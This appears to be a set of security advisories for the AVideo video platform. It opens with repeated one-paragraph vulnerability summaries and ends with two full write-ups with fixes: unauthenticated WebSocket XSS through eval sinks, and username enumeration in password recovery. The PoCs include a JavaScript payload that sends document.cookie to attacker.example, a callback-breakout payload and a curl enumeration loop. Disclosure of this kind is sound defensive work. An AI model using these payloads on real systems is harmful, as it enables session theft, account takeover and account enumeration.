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WWBN AVideo from 6.5 contains a stored cross-site scripting vulnerability that allows users with upload permission to inject script by submitting a javascript: scheme videoLink for embed videos. The unvalidated URL is rendered into an iframe src in videoEmbeded.php and PlayerSkins.php, executing for viewers including administrators and enabling creation of new administrator accounts.
WWBN AVideo from 6.5 contains a stored cross-site scripting vulnerability that allows users with upload permission to inject script by submitting a javascript: scheme videoLink for embed videos. The unvalidated URL is rendered into an iframe src in videoEmbeded.php and PlayerSkins.php, executing for viewers including administrators and enabling creation of new administrator accounts.
WWBN AVideo from 11.1 contains a cross-site scripting vulnerability that allows users with streaming permission to inject HTML by supplying an unvalidated url parameter to plugin/LiveLinks/play.php. Attackers can embed a --> sequence to escape the HTML comment in liveVideo.php, creating a shareable link that executes JavaScript in any visitor's session.
WWBN AVideo from 11.1 contains a cross-site scripting vulnerability that allows users with streaming permission to inject HTML by supplying an unvalidated url parameter to plugin/LiveLinks/play.php. Attackers can embed a --> sequence to escape the HTML comment in liveVideo.php, creating a shareable link that executes JavaScript in any visitor's session.
WWBN AVideo through c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site scripting vulnerability because the default node socket server relays autoEvalCodeOnHTML without the PHP-only filter. Unauthenticated attackers can obtain an anonymous socket token and send a spoofed MSGBATCH message to trigger client eval() in administrators' browsers for account takeover.
WWBN AVideo through c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site scripting vulnerability because the default node socket server relays autoEvalCodeOnHTML without the PHP-only filter. Unauthenticated attackers can obtain an anonymous socket token and send a spoofed MSGBATCH message to trigger client eval() in administrators' browsers for account takeover.
WWBN AVideo through 29.7.1 contains an incorrect authorization vulnerability that allows delegated Videos Admin users to obtain videoidhash values bound to any video owner via encoder endpoints like aVideoEncoderStatus.json.php. Attackers can request the hash for an administrator-owned video and replay it through useVideoHashOrLogin() for password-less login, gaining plugin upload, configuration, and user management access.
WWBN AVideo through 29.7.1 contains an incorrect authorization vulnerability that allows delegated Videos Admin users to obtain videoidhash values bound to any video owner via encoder endpoints like aVideoEncoderStatus.json.php. Attackers can request the hash for an administrator-owned video and replay it through useVideoHashOrLogin() for password-less login, gaining plugin upload, configuration, and user management access.
WWBN AVideo through 29.7.1 contains a missing authorization vulnerability in objects/import.json.php that allows uploaders to import other users' MP4 files by referencing any folder under videos/. Attackers can copy private, unlisted, password-protected or pay-per-view videos, read victims' .txt/.html sidecars as descriptions, list files via objects/listFiles.json.php, and delete victims' media using the delete parameter.
WWBN AVideo through 29.7.1 contains a missing authorization vulnerability in objects/import.json.php that allows uploaders to import other users' MP4 files by referencing any folder under videos/. Attackers can copy private, unlisted, password-protected or pay-per-view videos, read victims' .txt/.html sidecars as descriptions, list files via objects/listFiles.json.php, and delete victims' media using the delete parameter.
WWBN AVideo through 29.7.1 contains an improper payment verification vulnerability in plugin/PayPalYPT/ipnV2.php that credits wallets from PayPal IPNs not bound to the site's merchant account. Unauthenticated attackers can forward genuine VERIFIED recurring-payment IPNs from their own PayPal account with a chosen usersid to add wallet balance each billing cycle.
WWBN AVideo through 29.7.1 contains an improper payment verification vulnerability in plugin/PayPalYPT/ipnV2.php that credits wallets from PayPal IPNs not bound to the site's merchant account. Unauthenticated attackers can forward genuine VERIFIED recurring-payment IPNs from their own PayPal account with a chosen usersid to add wallet balance each billing cycle.
WWBN AVideo 6.5 through 29.7.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as any user via Hybridauth social login display names. Attackers can set their X, Facebook, Yahoo or LinkedIn display name to a victim's username and withhold email, causing login.json.php or oauth2.php to log them in as that account, including administrators, without a password.
WWBN AVideo 6.5 through 29.7.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as any user via Hybridauth social login display names. Attackers can set their X, Facebook, Yahoo or LinkedIn display name to a victim's username and withhold email, causing login.json.php or oauth2.php to log them in as that account, including administrators, without a password.
WWBN AVideo 29.1.0 through 29.7.1 contains a stored cross-site scripting vulnerability that allows registered users to inject markup through the channel About field rendered in feed/index.php. Attackers can store an unquoted event-handler payload that bypasses feedHtmlDescription() filtering and executes via rss-style.xsl for any visitor, including administrators, viewing the channel feed.
WWBN AVideo 29.1.0 through 29.7.1 contains a stored cross-site scripting vulnerability that allows registered users to inject markup through the channel About field rendered in feed/index.php. Attackers can store an unquoted event-handler payload that bypasses feedHtmlDescription() filtering and executes via rss-style.xsl for any visitor, including administrators, viewing the channel feed.
WWBN AVideo 14.3 through 29.7.1 contains a stored cross-site scripting vulnerability that allows uploaders to inject scripts via the videoDownloadedLink value stored unescaped through objects/aVideoEncoder.json.php. Attackers can embed event-handler payloads in the URL host rendered as a Source tag in view/managerVideosbody.php, executing in administrator sessions to install plugin archives containing PHP.
WWBN AVideo 14.3 through 29.7.1 contains a stored cross-site scripting vulnerability that allows uploaders to inject scripts via the videoDownloadedLink value stored unescaped through objects/aVideoEncoder.json.php. Attackers can embed event-handler payloads in the URL host rendered as a Source tag in view/managerVideosbody.php, executing in administrator sessions to install plugin archives containing PHP.
WWBN AVideo through 29.7.1 contains a missing authorization vulnerability in Live plugin restream endpoints that allows authenticated streamers to obtain other users' stream keys by supplying arbitrary livetransmitionshistoryid values. Attackers can redeem the issued action tokens at verifyTokenForAction.json.php to retrieve victims' HLS URLs and stream keys, then publish as the victim or restream private or pay-per-view lives.
WWBN AVideo through 29.7.1 contains a missing authorization vulnerability in Live plugin restream endpoints that allows authenticated streamers to obtain other users' stream keys by supplying arbitrary livetransmitionshistoryid values. Attackers can redeem the issued action tokens at verifyTokenForAction.json.php to retrieve victims' HLS URLs and stream keys, then publish as the victim or restream private or pay-per-view lives.
WWBN AVideo 12.4 through 29.7.1 contains a path traversal vulnerability in the ADs plugin deleteImage.json.php that allows authenticated users with custom ads to delete arbitrary files. Attackers can set the unvalidated isregularuser parameter to another user's id or ../ sequences to delete other users' ads or files like videos/configuration.php, taking the site offline and re-exposing the installer.
WWBN AVideo 12.4 through 29.7.1 contains a path traversal vulnerability in the ADs plugin deleteImage.json.php that allows authenticated users with custom ads to delete arbitrary files. Attackers can set the unvalidated isregularuser parameter to another user's id or ../ sequences to delete other users' ads or files like videos/configuration.php, taking the site offline and re-exposing the installer.
WWBN AVideo 6.5 through 29.7.1 contains an email verification bypass vulnerability in User::verifyCode() in objects/user.php caused by PHP loose comparison of the recoverPass token. Registered users can reuse the installation-wide salt from their own verification link and craft a code with arbitrary usersid and recoverPass set to true to verify other accounts' emails, unlocking features such as live streaming.
WWBN AVideo 6.5 through 29.7.1 contains an email verification bypass vulnerability in User::verifyCode() in objects/user.php caused by PHP loose comparison of the recoverPass token. Registered users can reuse the installation-wide salt from their own verification link and craft a code with arbitrary usersid and recoverPass set to true to verify other accounts' emails, unlocking features such as live streaming.
WWBN AVideo through 29.7.1 contains a missing authorization vulnerability in API::getapitags() in plugin/API/API.php that allows registered users to access restricted video data by querying the tags API. Attackers can subscribe to a tag and query APIName=tags to obtain filenames, titles and stored videopassword values of unlisted, group-restricted and password-protected videos, enabling unauthorized viewing.
WWBN AVideo through 29.7.1 contains a missing authorization vulnerability in API::getapitags() in plugin/API/API.php that allows registered users to access restricted video data by querying the tags API. Attackers can subscribe to a tag and query APIName=tags to obtain filenames, titles and stored videopassword values of unlisted, group-restricted and password-protected videos, enabling unauthorized viewing.
WWBN AVideo 29.0 through 29.4.0 contains a race condition vulnerability in plugin/PayPalYPT/ipn.php that allows attackers to bypass IPN replay protection due to a non-atomic deduplication check and insert. Attackers can concurrently replay a captured valid recurring-payment notification so both requests pass isRecurringPaymentIdUsed(), obtaining duplicate wallet credits and subscription renewals.
WWBN AVideo 29.0 through 29.4.0 contains a race condition vulnerability in plugin/PayPalYPT/ipn.php that allows attackers to bypass IPN replay protection due to a non-atomic deduplication check and insert. Attackers can concurrently replay a captured valid recurring-payment notification so both requests pass isRecurringPaymentIdUsed(), obtaining duplicate wallet credits and subscription renewals.
Summary
The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.
Details
Token issuance is unauthenticated
plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:
php if(!AVideoPlugin::isEnabledByName("YPTSocket")){ $obj->msg = "Socket plugin not enabled"; die(jsonencode($obj)); } $obj->error = false; $obj->webSocketToken = getEncryptedInfo(0); $obj->webSocketURL = YPTSocket::getWebSocketURL();
getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates fromusersid = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.
Server relays attacker JSON verbatim
plugin/YPTSocket/Message.php:191-245 — the default branch of onMessage only rewrites fromidentification:
php public function onMessage(ConnectionInterface $from, $msg) { ... $json = jsondecode($msg); if (empty($json->webSocketToken)) { return false; } if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }
switch ($json->msg) { ... default: $this->msgToArray($json); if (isset($json['fromidentification'])) { $json['fromidentification'] = striptags((string)($msgObj->username ?? '')); } ... } else { $this->msgToAll($from, $json); // broadcast } break; } }
msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:
php if (isset($msg['callback'])) { $obj['callback'] = $msg['callback']; // tainted ... } ... } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; // tainted — entire object forwarded verbatim }
$obj is JSON-encoded at line 335 and sent to every connected client.
Client-side sink #1: autoEvalCodeOnHTML → eval
plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():
js connWS.onmessage = function (e) { var json = JSON.parse(e.data); ... yptSocketResponse = json; parseSocketResponse(); ... };
parseSocketResponse() at script.js:545-569 reaches the sink:
js async function parseSocketResponse() { const json = yptSocketResponse; ... if (json.msg?.autoEvalCodeOnHTML !== undefined) { eval(json.msg.autoEvalCodeOnHTML); // <-- attacker-controlled } ... }
Client-side sink #2: json.callback → eval
plugin/YPTSocket/script.js:91-95 — processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):
js if (json.callback) { var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }"; socketLog('Executing callback:', json.callback); eval(code); ... }
Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.
PoC
Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).
Step 1 — obtain a token anonymously (no cookies, no auth):
bash curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'
Expected output (abbreviated): json {"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}
Step 2 — connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:
js const WebSocket = require('ws'); const TOKEN = '<token from step 1>'; const URL = '<webSocketURL from step 1>'; const ws = new WebSocket(URL, { rejectUnauthorized: false });
ws.on('open', () => { // Payload 1 — primary sink (raw WebSocket transport): ws.send(JSON.stringify({ webSocketToken: TOKEN, msg: { autoEvalCodeOnHTML: "fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" + "alert('XSS as '+document.domain);" } }));
// Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients): ws.send(JSON.stringify({ webSocketToken: TOKEN, msg: "p", callback: "alert(document.domain);window.x" })); });
Step 3 — observe impact. Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's script.js — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:
- Payload 1 reaches parseSocketResponse() at line 568 and evaluates eval(json.msg.autoEvalCodeOnHTML), firing the exfiltration request to attacker.example with document.cookie. - Payload 2 reaches processSocketJson() at line 95; the synthesized code string is if (typeof alert(document.domain);window.x == 'function') { ... }, which executes alert(document.domain) during the typeof evaluation.
Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.
Impact
A single unauthenticated request and one WebSocket frame grants the attacker universal client-side code execution across every user currently connected to the target AVideo instance. Concretely:
- Session theft of every connected user, including administrators (note: HttpOnly does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies). - Privileged action execution on behalf of any admin who happens to be online — including plugin installation (GHSA-v8jw-8w5p-23g3 shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes. - Stored cross-user JS persistence via localStorage, IndexedDB, or re-submitting the payload as a comment/title through admin credentials. - Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin. - The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.
Recommended Fix
Multiple defense-in-depth layers are required:
1. Remove the client-side eval sinks entirely. plugin/YPTSocket/script.js:
diff - if (json.msg?.autoEvalCodeOnHTML !== undefined) { - eval(json.msg.autoEvalCodeOnHTML); - }
No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.
Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:
diff - if (json.callback) { - var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }"; - eval(code); - ... - } else { - myfunc = defaultCallback; - } + var ALLOWEDCALLBACKS = ['socketNewConnection', 'socketDisconnection', / ... /]; + if (typeof json.callback === 'string' && ALLOWEDCALLBACKS.indexOf(json.callback) !== -1 + && typeof window[json.callback] === 'function') { + myfunc = window[json.callback]; + const event = new CustomEvent(json.callback, { detail: details }); + document.dispatchEvent(event); + } else { + myfunc = defaultCallback; + }
2. Server-side: allowlist keys on relayed msg objects. In plugin/YPTSocket/Message.php::onMessage() default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding $msg['msg'] verbatim:
php // At top of default branch, after msgToArray: $ALLOWEDMSGKEYS = ['type', 'text', 'videosid', 'usersid', / ... /]; if (isset($json['msg']) && isarray($json['msg'])) { $json['msg'] = arrayintersectkey($json['msg'], arrayflip($ALLOWEDMSGKEYS)); } // Similarly sanitize callback: if (isset($json['callback']) && !pregmatch('/^[a-zA-Z][a-zA-Z0-9]$/', (string)$json['callback'])) { unset($json['callback']); }
3. Restrict token issuance and sender privileges. plugin/YPTSocket/getWebSocket.json.php should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger msgToAll at all — the default branch of onMessage should require $msgObj->isAdmin (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.
Summary
The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.
Details
In objects/userRecoverPass.php, the request flow is:
1. Line 11 — A User object is instantiated from unsanitized $REQUEST['user'] with no authentication: php $user = new User(0, $REQUEST['user'], false);
2. Lines 27-29 — If the user does not exist, a distinct error is returned immediately: php if (empty($user->getStatus())) { $obj->error = ("User not found"); die(jsonencode($obj)); }
3. Lines 31-33 — If the user exists but is not active, a different distinct error is returned: php if ($user->getStatus() !== 'a') { $obj->error = ("The user is not active"); die(jsonencode($obj)); }
4. Lines 37-41 — Captcha validation only occurs after both user enumeration checks: php if (empty($REQUEST['captcha'])) { $obj->error = ("Captcha is empty"); } else { requireonce 'captcha.php'; $valid = Captcha::validation($REQUEST['captcha']);
This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.
By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.
No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).
PoC
bash 1. Test a non-existent user — returns "User not found" without captcha curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=nonexistentuserxyz&captcha=' | jq .error Response: "User not found"
2. Test a valid active user — passes user checks, hits captcha validation curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=admin&captcha=' | jq .error Response: "Captcha is empty"
3. Test an inactive/banned user (if one exists) — returns distinct status message curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=banneduser&captcha=' | jq .error Response: "The user is not active"
4. Bulk enumeration script — no captcha solving required for user in admin root test user1 user2 moderator editor; do result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d "user=${user}&captcha=") error=$(echo "$result" | jq -r .error) if [ "$error" = "Captcha is empty" ]; then echo "[ACTIVE] $user" elif [ "$error" = "The user is not active" ]; then echo "[INACTIVE] $user" else echo "[NOT FOUND] $user" fi done
Impact
- Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier. - Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status. - Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint. - Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users. - No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.
Recommended Fix
Move the captcha validation before the user existence checks, and return a generic message regardless of user status:
php // In objects/userRecoverPass.php, replace lines 26-41 with:
header('Content-Type: application/json');
// Validate captcha FIRST, before any user lookups if (empty($REQUEST['captcha'])) { $obj->error = ("Captcha is empty"); die(jsonencode($obj)); } requireonce 'captcha.php'; $valid = Captcha::validation($REQUEST['captcha']); if (!$valid) { $obj->error = ("Your code is not valid"); $obj->reloadCaptcha = true; die(jsonencode($obj)); }
// After captcha passes, check user — but use generic message if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) { // Generic message — do not reveal whether user exists or is active $obj->success = ("If this account exists, a recovery email has been sent"); die(jsonencode($obj)); }
// Proceed with actual password recovery... $recoverPass = $user->setRecoverPass();
Additionally, consider adding rateLimitByIP() to this endpoint as defense-in-depth.